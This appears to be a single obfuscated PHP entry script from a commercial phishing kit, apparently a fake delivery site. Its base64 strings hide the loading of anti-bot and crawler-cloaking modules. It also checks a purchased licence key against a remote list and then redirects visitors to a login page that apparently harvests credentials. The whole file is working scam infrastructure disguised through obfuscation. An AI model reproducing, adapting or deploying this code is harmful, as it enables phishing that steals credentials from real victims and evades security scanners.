PHP Decode

<?   session_start();require_once base64_decode('c3JjL0NsYXNzZXMvQ29tcC5waHA=');require_once base64_decode('c3JjL0NsYXNzZXMvQW50aWJvdC5waHA=');$jsfteuqydf05b7ad61706b638b2f032978f0c19e=new Comp;$tvsruhuj15d4bbd1f14b3cef0e0bdbcc83751c85=new Antibot;if(!$jsfteuqydf05b7ad61706b638b2f032978f0c19e->checkBadge()){echo $tvsruhuj15d4bbd1f14b3cef0e0bdbcc83751c85->throw404();die();}require_once base64_decode('enNlYy5waHA=');include base64_decode('Y3Jhd2xlcmRldGVjdC5waHA=');include base64_decode('Ym90X2Z1Y2tlci93cmQucGhw');include base64_decode('Ym90X2Z1Y2tlci9ib3QucGhw');include base64_decode('aHVlaHVlaHVlLnBocA==');$ywfjfqxs2e5d8aa3dfa8ef34ca5131d20f9dad51=include base64_decode('c2V0dGluZ3Mvc2V0dGluZ3MucGhw');if($ywfjfqxs2e5d8aa3dfa8ef34ca5131d20f9dad51[base64_decode('amVzc2Vfa2V5')]==''){echo base64_decode('WW91IG5lZWQgYSBrZXkgdG8gc3RhcnQgdXNpbmcgdGhlIHBhZ2UsIGJ1eSBvbmUgZnJvbSBAamVzc2VwaW5rZ3V5');die();}$gomsregk8c7dd922ad47494fc02c388e12c00eac=base64_decode('aHR0cHM6Ly96ZXJvLXJhdGVkLWRlbGl2ZXJpLjAwMHdlYmhvc3RhcHAuY29tL2FudGlib3QudHh0');$nxihmcmz6b8dc71df231101962884d0741f87d2c=$ywfjfqxs2e5d8aa3dfa8ef34ca5131d20f9dad51[base64_decode('amVzc2Vfa2V5')];header(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L3BsYWlu'));$lupwmlic98bf7d8c15784f0a3d63204441e1e2aa=file_get_contents($gomsregk8c7dd922ad47494fc02c388e12c00eac);$lroebizo240bf022e685b0ee30ad9fe9e1fb5d5b=preg_quote($nxihmcmz6b8dc71df231101962884d0741f87d2c,base64_decode('Lw=='));$lroebizo240bf022e685b0ee30ad9fe9e1fb5d5b="/^.*$lroebizo240bf022e685b0ee30ad9fe9e1fb5d5b.*\$/m";if(preg_match_all($lroebizo240bf022e685b0ee30ad9fe9e1fb5d5b,$lupwmlic98bf7d8c15784f0a3d63204441e1e2aa,$ofendoir9c28d32df234037773be184dbdafc274)){header("Location: login.php?badge={$_SESSION[base64_decode('YmFkZ2U=')]}");}else{echo base64_decode('V2UncmUgc29ycnksIHlvdXIga2V5IGhhcyBleHBpcmVkLiBQbGVhc2UgY29udGFjdCBAamVzc2VwaW5rZ3V5');} ?>